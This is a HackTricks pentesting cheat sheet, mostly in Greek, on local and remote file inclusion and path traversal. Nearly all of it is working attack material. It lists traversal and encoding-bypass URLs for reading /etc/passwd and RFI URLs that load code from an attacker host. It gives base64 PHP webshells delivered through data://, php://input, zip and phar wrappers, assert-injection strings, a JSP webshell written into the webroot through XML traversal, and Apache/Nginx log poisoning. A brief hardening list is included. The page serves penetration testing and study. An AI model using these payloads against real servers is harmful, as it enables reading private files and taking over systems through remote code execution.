51 KiB
File Inclusion/Path traversal
{{#include ../../banners/hacktricks-training.md}}
File Inclusion
Remote File Inclusion (RFI): Το αρχείο φορτώνεται από απομακρυσμένο server (Καλύτερο: Μπορείς να γράψεις τον κώδικα και ο server θα τον εκτελέσει). Στο php αυτό είναι απενεργοποιημένο από προεπιλογή (allow_url_include).
Local File Inclusion (LFI): Ο server φορτώνει ένα τοπικό αρχείο.
Η ευπάθεια προκύπτει όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει ποιο αρχείο θα φορτώσει ο server.
Ευπαθείς PHP functions: require, require_once, include, include_once
Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE αρχεία
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Συνδυάζοντας διάφορες *nix LFI λίστες και προσθέτοντας περισσότερες διαδρομές δημιούργησα αυτήν:
{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}}
Δοκίμασε επίσης να αλλάξεις /
με \
Δοκίμασε επίσης να προσθέσεις ../../../../../
Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξετε αν η ευπάθεια υπάρχει) μπορεί να βρεθεί εδώ
Windows
Συγχώνευση διαφορετικών wordlists:
{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}}
Δοκίμασε επίσης να αλλάξεις /
με \
Δοκίμασε επίσης να αφαιρέσεις C:/
και να προσθέσεις ../../../../../
Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξετε αν η ευπάθεια υπάρχει) μπορεί να βρεθεί εδώ
OS X
Έλεγξε τη λίστα LFI του linux.
Βασικά LFI και bypasses
Όλα τα παραδείγματα είναι για Local File Inclusion αλλά θα μπορούσαν να εφαρμοστούν και σε Remote File Inclusion επίσης (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences αφαιρούνται μη-αναδρομικά
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass την προσθήκη επιπλέον χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Αυτό έχει επιλυθεί από PHP 5.4
Κωδικοποίηση
Μπορείτε να χρησιμοποιήσετε μη-τυπικές κωδικοποιήσεις όπως double URL encode (και άλλα):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Από υπάρχον φάκελο
Ίσως το back-end να ελέγχει τη διαδρομή του φακέλου:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Εξερεύνηση Καταλόγων του Συστήματος Αρχείων σε έναν server
Το σύστημα αρχείων ενός server μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και την έρευνα για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω περιγράφεται μια αναλυτική μέθοδος για να το επιτύχετε:
- Προσδιορίστε το Βάθος του Καταλόγου: Προσδιορίστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο
/etc/passwd
(ισχύει εάν ο server βασίζεται σε Linux). Ένα παράδειγμα URL μπορεί να είναι δομημένο ως εξής, υποδεικνύοντας βάθος τρία:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Ανίχνευση Φακέλων: Πρόσθεσε το όνομα του υποψιαζόμενου φακέλου (π.χ.,
private
) στο URL, στη συνέχεια επέστρεψε στο/etc/passwd
. Το πρόσθετο επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Ερμηνεία των Αποτελεσμάτων: Η απάντηση του διακομιστή υποδεικνύει εάν ο φάκελος υπάρχει:
- Σφάλμα / Χωρίς έξοδο: Ο φάκελος
private
πιθανότατα δεν υπάρχει στη συγκεκριμένη θέση. - Περιεχόμενο του
/etc/passwd
: Η ύπαρξη του φακέλουprivate
επιβεβαιώνεται.
- Αναδρομική Εξερεύνηση: Οι εντοπισμένοι φάκελοι μπορούν να διερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες του συστήματος αρχείων, προσαρμόστε ανάλογα το payload. Για παράδειγμα, για να ελέγξετε αν το /var/www/
περιέχει έναν κατάλογο private
(υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Το Path truncation είναι μια μέθοδος που χρησιμοποιείται για να χειραγωγήσει μονοπάτια αρχείων σε web εφαρμογές. Συχνά χρησιμοποιείται για πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των μονοπατιών αρχείων. Ο στόχος είναι να δημιουργηθεί ένα μονοπάτι αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
Στην PHP, διάφορες αναπαραστάσεις ενός μονοπατιού αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
are all treated as the same path.- Όταν οι τελευταίοι 6 χαρακτήρες είναι
passwd
, η προσθήκη ενός/
(κάνοντάς τοpasswd/
) δεν αλλάζει το στοχευμένο αρχείο. - Παρομοίως, εάν το
.php
προστεθεί σε ένα μονοπάτι αρχείου (όπωςshellcode.php
), η προσθήκη ενός/.
στο τέλος δεν θα αλλάξει το αρχείο που προσπελαύνεται.
Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιηθεί το path truncation για πρόσβαση στο /etc/passwd
, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Σε αυτά τα σενάρια, ο αριθμός των traversals που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.
- Using Dot Segments and Additional Characters: Traversal sequences (
../
) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για την περιήγηση στο σύστημα αρχείων, αγνοώντας στην πράξη τις συμβολοσειρές που προσθέτει ο διακομιστής. - Determining the Required Number of Traversals: Μέσω δοκιμής και σφάλματος, μπορεί κανείς να βρει τον ακριβή αριθμό των
../
ακολουθιών που χρειάζονται για να φτάσει στον root κατάλογο και στη συνέχεια στο/etc/passwd
, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως.php
) εξουδετερώνονται αλλά το επιθυμητό μονοπάτι (/etc/passwd
) παραμένει ανέπαφο. - Starting with a Fake Directory: Είναι συνηθισμένη πρακτική να ξεκινάει η διαδρομή με έναν μη υπάρχοντα κατάλογο (όπως
a/
). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιηθούν οι απαιτήσεις της λογικής ανάλυσης διαδρομών του διακομιστή.
Κατά την εφαρμογή τεχνικών path truncation, είναι κρίσιμο να κατανοήσετε τη συμπεριφορά ανάλυσης διαδρομών του διακομιστή και τη δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητο το testing για να βρεθεί η πιο αποτελεσματική μέθοδος.
Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή allow_url_include
είναι Off. Πρέπει να είναι On για να λειτουργήσει, και σε αυτή την περίπτωση μπορείτε να include ένα PHP file από τον server σας και να αποκτήσετε RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Αν για κάποιο λόγο allow_url_include
είναι On, αλλά το PHP φιλτράρει την πρόσβαση σε εξωτερικές ιστοσελίδες, σύμφωνα με αυτή την ανάρτηση, θα μπορούσατε να χρησιμοποιήσετε, για παράδειγμα, το data protocol με base64 για να αποκωδικοποιήσετε έναν b64 PHP κώδικα και να αποκτήσετε RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
Στον προηγούμενο κώδικα, το τελικό
+.txt
προστέθηκε επειδή ο attacker χρειαζόταν μια συμβολοσειρά που τελείωνε σε.txt
, έτσι η συμβολοσειρά τελειώνει με αυτήν και μετά το b64 decode εκείνο το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός PHP κώδικας θα συμπεριληφθεί (και επομένως, θα εκτελεστεί).Another example μη χρησιμοποιώντας το πρωτόκολλο
php://
θα ήταν:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Root element
Σε Python, σε έναν κώδικα όπως ο εξής:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Αν ο χρήστης περάσει ένα absolute path στο file_name
, το προηγούμενο path απλά αφαιρείται:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Είναι η αναμενόμενη συμπεριφορά σύμφωνα με the docs:
Εάν ένα στοιχείο είναι ένα απόλυτο μονοπάτι, όλα τα προηγούμενα στοιχεία αγνοούνται και η σύνδεση συνεχίζεται από το απόλυτο στοιχείο μονοπατιού.
Java Λίστα καταλόγων
Φαίνεται πως αν έχετε ένα Path Traversal σε Java και ζητήσετε έναν κατάλογο αντί για αρχείο, θα επιστραφεί μια λίστα του καταλόγου. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (όσο ξέρω).
Κορυφαίες 25 παράμετροι
Ακολουθεί λίστα με τις κορυφαίες 25 παραμέτρους που θα μπορούσαν να είναι ευάλωτες σε local file inclusion (LFI) ευπάθειες (από link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI χρησιμοποιώντας PHP wrappers & protocols
php://filter
PHP filters επιτρέπουν την εκτέλεση βασικών λειτουργιών τροποποίησης στα δεδομένα πριν αυτά διαβαστούν ή εγγραφούν. Υπάρχουν 5 κατηγορίες φίλτρων:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Αφαιρεί tags από τα δεδομένα (ό,τι βρίσκεται ανάμεσα στους χαρακτήρες "<" και ">")- Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Μετατρέπει σε διαφορετική κωδικοποίηση (convert.iconv.<input_enc>.<output_enc>
). Για να πάρετε τη λίστα όλων των κωδικοποιήσεων που υποστηρίζονται τρέξτε στην κονσόλα:iconv -l
Warning
Καταχρηστική χρήση του φίλτρου μετατροπής
convert.iconv.*
μπορεί να σας επιτρέψει να παράγετε αυθαίρετο κείμενο, το οποίο μπορεί να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή για να κάνετε μια συνάρτηση όπως include να επεξεργαστεί αυθαίρετο κείμενο. Για περισσότερες πληροφορίες δείτε LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξάγετε μεγάλο όγκο πληροφοριών)zlib.inflate
: Αποσυμπιέζει τα δεδομένα- Encryption Filters
mcrypt.*
: Απαρχαιωμένοmdecrypt.*
: Απαρχαιωμένο- Other Filters
- Τρέχοντας στο php
var_dump(stream_get_filters());
μπορείτε να βρείτε μερικά μη αναμενόμενα φίλτρα: consumed
dechunk
: αντιστρέφει το HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
Το μέρος "php://filter" δεν είναι ευαίσθητο σε πεζά/κεφαλαία
Using php filters as oracle to read arbitrary files
In this post προτείνεται μια τεχνική για να διαβάσετε ένα τοπικό αρχείο χωρίς να επιστραφεί η έξοδος από τον server. Αυτή η τεχνική βασίζεται σε μια boolean exfiltration of the file (char by char) using php filters ως oracle. Αυτό συμβαίνει επειδή τα php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε το php να ρίξει exception.
Στο αρχικό post θα βρείτε αναλυτική εξήγηση της τεχνικής, αλλά εδώ είναι μια σύντομη περίληψη:
- Χρησιμοποιήστε τον codec
UCS-4LE
για να αφήσετε τον πρώτο χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά. - Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα κείμενο τόσο μεγάλο όταν ο αρχικός χαρακτήρας μαντευτεί σωστά που το php θα προκαλέσει error
- Το φίλτρο dechunk θα αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι hexadecimal, οπότε μπορούμε να γνωρίζουμε αν ο πρώτος χαρακτήρας είναι hex.
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα filters ανάλογα με τον μαντεμένο χαρακτήρα), θα μας επιτρέψει να μαντέψουμε έναν χαρακτήρα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετασχηματίσεις ώστε να μην είναι πλέον δεκαεξαδικός χαρακτήρας. Εάν είναι hex, το dechunk δεν το διαγράφει και η αρχική "βόμβα" θα προκαλέσει php error.
- Ο codec convert.iconv.UNICODE.CP930 μετατρέπει κάθε γράμμα στο επόμενο (οπότε μετά από αυτόν τον codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι
a
για παράδειγμα, γιατί αν εφαρμόσουμε 6 φορές αυτόν τον codec a->b->c->d->e->f->g ο χαρακτήρας δεν είναι πλέον δεκαεξαδικός, επομένως το dechunk δεν τον διαγράφει και το php error ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα. - Χρησιμοποιώντας άλλους μετασχηματισμούς όπως rot13 στην αρχή είναι δυνατόν να leak άλλους χαρακτήρες όπως n, o, p, q, r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range).
- Όταν ο αρχικός χαρακτήρας είναι αριθμός χρειάζεται να τον base64 encode και να leak τα 2 πρώτα γράμματα για να εξαχθεί ο αριθμός.
- Το τελικό πρόβλημα είναι να δούμε πώς να leak περισσότερα από τον αρχικό χαρακτήρα. Χρησιμοποιώντας order memory filters όπως convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE είναι δυνατόν να αλλάξει η σειρά των χαρακτήρων και να μπουν στην πρώτη θέση άλλα γράμματα του κειμένου.
- Και για να μπορέσουμε να πάρουμε περαιτέρω δεδομένα η ιδέα είναι να παράγουμε 2 bytes junk data στην αρχή με convert.iconv.UTF16.UTF16, να εφαρμόσουμε UCS-4LE για να τα κάνουμε pivot με τα επόμενα 2 bytes, και delete the data until the junk data (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίζετε έτσι μέχρι να φτάσετε στο επιθυμητό κομμάτι για leak.
Στο άρθρο διατέθηκε επίσης ένα εργαλείο για αυτόματη εκτέλεση: php_filters_chain_oracle_exploit.
php://fd
Αυτό το wrapper επιτρέπει την πρόσβαση σε file descriptors που η διεργασία έχει ανοιχτά. Ενδεχομένως χρήσιμο για exfiltrate το περιεχόμενο ανοιχτών αρχείων:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Μπορείτε επίσης να χρησιμοποιήσετε php://stdin, php://stdout and php://stderr για να αποκτήσετε πρόσβαση στα file descriptors 0, 1 and 2 αντίστοιχα (δεν είναι σαφές πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)
zip:// and rar://
Ανεβάστε ένα Zip ή Rar αρχείο με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.
Για να μπορείτε να εκμεταλλευτείτε το rar protocol, αυτό πρέπει να ενεργοποιηθεί συγκεκριμένα.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις του php allow_url_open
και allow_url_include
expect://
Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας το εξής:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Καθορίστε το payload σας στις παραμέτρους POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Ένα αρχείο .phar
μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια web εφαρμογή αξιοποιεί συναρτήσεις όπως include
για τη φόρτωση αρχείων. Το παράδειγμα κώδικα PHP που ακολουθεί δείχνει τη δημιουργία ενός αρχείου .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Για να μεταγλωττιστεί το αρχείο .phar
, πρέπει να εκτελεστεί η ακόλουθη εντολή:
php --define phar.readonly=0 create_path.php
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα test.phar
, το οποίο ενδέχεται να αξιοποιηθεί για να εκμεταλλευτεί ευπάθειες Local File Inclusion (LFI).
Σε περιπτώσεις όπου το LFI απλώς διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα εντός, μέσω συναρτήσεων όπως file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, ή filesize()
, μπορεί να επιχειρηθεί εκμετάλλευση ευπάθειας απο-σειριοποίησης. Αυτή η ευπάθεια συνδέεται με το διάβασμα αρχείων χρησιμοποιώντας το πρωτόκολλο phar
.
Phar Deserialization Exploitation Guide
{{#ref}} phar-deserialization.md {{#endref}}
CVE-2024-2961
Ήταν δυνατό να καταχραστεί οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP και υποστηρίζει php filters για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να βρεθεί σε αυτό το post.
Πολύ σύντομη περίληψη: μια 3 byte overflow στο PHP heap εκμεταλλεύτηκε για να αλλάξει την αλυσίδα των free chunks συγκεκριμένου μεγέθους ώστε να είναι δυνατή η γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση, οπότε προστέθηκε ένα hook για την κλήση της system
.
Ήταν δυνατό να διατεθούν chunks συγκεκριμένων μεγεθών εκμεταλλευόμενοι περισσότερα php filters.
More protocols
Ελέγξτε περισσότερα πιθανά protocols to include here:
- php://memory and php://temp — Γράφει στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια file inclusion attack)
- file:// — Πρόσβαση στο local filesystem
- http:// — Πρόσβαση σε HTTP(s) URLs
- ftp:// — Πρόσβαση σε FTP(s) URLs
- zlib:// — Compression Streams
- glob:// — Εύρεση ονομάτων διαδρομών που ταιριάζουν με μοτίβο (Δεν επιστρέφει κάτι εκτυπώσιμο, οπότε δεν είναι ιδιαίτερα χρήσιμο εδώ)
- ssh2:// — Secure Shell 2
- ogg:// — Audio streams (Δεν είναι χρήσιμο για το διάβασμα αυθαίρετων αρχείων)
LFI via PHP's 'assert'
Οι κίνδυνοι Local File Inclusion (LFI) στο PHP είναι ιδιαίτερα υψηλοί όταν χρησιμοποιείται η συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε strings. Αυτό είναι ιδιαίτερα προβληματικό εάν γίνεται έλεγχος εισόδου που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν γίνεται σωστή απολύμανση.
Για παράδειγμα, ο PHP κώδικας μπορεί να έχει σχεδιαστεί για να αποτρέπει το directory traversal ως εξής:
assert("strpos('$file', '..') === false") or die("");
Ενώ αυτό στοχεύει στο να αποτρέψει το traversal, δημιουργεί κατά λάθος ένα διάνυσμα για code injection. Για να το εκμεταλλευτεί για να διαβάσει το περιεχόμενο αρχείων, ένας attacker θα μπορούσε να χρησιμοποιήσει:
' and die(highlight_file('/etc/passwd')) or '
Ομοίως, για την εκτέλεση αυθαίρετων system commands, κάποιος μπορεί να χρησιμοποιήσει:
' and die(system("id")) or '
It's important to URL-encode these payloads.
PHP Blind Path Traversal
Warning
Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου control το file path μιας PHP function που θα access a file αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση σε
file()
) αφού το περιεχόμενο δεν εμφανίζεται.
In this incredible post εξηγείται πώς ένα blind path traversal μπορεί να καταχραστεί μέσω PHP filter για να exfiltrate the content of a file via an error oracle.
Συνοπτικά, η τεχνική χρησιμοποιεί την κωδικοποίηση "UCS-4LE" ώστε το περιεχόμενο ενός αρχείου να γίνει τόσο big που η PHP function opening το αρχείο θα προκαλέσει ένα error.
Έπειτα, για να leak ο πρώτος χαρακτήρας χρησιμοποιείται το φίλτρο dechunk
μαζί με άλλα όπως base64 ή rot13 και τελικά τα φίλτρα convert.iconv.UCS-4.UCS-4LE και convert.iconv.UTF16.UTF-16BE χρησιμοποιούνται για να place other chars at the beggining and leak them.
Συναρτήσεις που μπορεί να είναι ευάλωτες: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Για τις τεχνικές λεπτομέρειες δείτε το προαναφερθέν post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, ..
segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- Εντοπίστε ένα write primitive σε ένα endpoint ή background worker που δέχεται ένα path/filename και γράφει περιεχόμενο στο δίσκο (π.χ. message-driven ingestion, XML/JSON command handlers, ZIP extractors, κ.λπ.).
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Κατασκευάστε ένα traversal path που θα βγει από τον προορισμένο storage directory προς το webroot, και συμπεριλάβετε το webshell content σας.
- Περιηγηθείτε στο dropped payload και εκτελέστε εντολές.
Notes:
- Η ευάλωτη υπηρεσία που εκτελεί το write μπορεί να ακούει σε non-HTTP port (π.χ. ένας JMF XML listener σε TCP 4004). Το κύριο web portal (σε άλλη θύρα) θα σερβίρει αργότερα το payload σας.
- Σε Java stacks, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή σύνδεση
File
/Paths
. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Μέτρα σκληρύνσεως που αποτρέπουν αυτή την κατηγορία σφαλμάτων:
- Επίλυση σε canonical path και επιβολή ότι είναι απόγονος ενός allow-listed base directory.
- Απόρριψη οποιουδήποτε μονοπατιού που περιέχει
..
, απόλυτες ρίζες, ή drive letters· προτίμηση σε generated filenames. - Τρέξτε τον writer ως λογαριασμό με χαμηλά δικαιώματα και διαχωρίστε τους καταλόγους εγγραφής από τα served roots.
Remote File Inclusion
Εξηγήθηκε προηγουμένως, follow this link.
Via Apache/Nginx log file
If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log
or /var/log/nginx/access.log
, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?>
and include that file
Warning
Σημειώστε ότι εάν χρησιμοποιήσετε double quotes για το shell αντί για simple quotes, τα double quotes θα τροποποιηθούν για τη συμβολοσειρά "quote;", η PHP θα ρίξει σφάλμα εκεί και τίποτε άλλο δεν θα εκτελεστεί.
Επίσης, βεβαιωθείτε ότι γράφετε σωστά το payload αλλιώς η PHP θα δίνει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
Αυτό μπορεί επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά προσέξτε, ο κώδικας μέσα στα αρχεία καταγραφής μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header authorisation "basic" περιέχει "user:password" σε Base64 και αυτό αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.
Άλλες πιθανές διαδρομές αρχείων καταγραφής:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
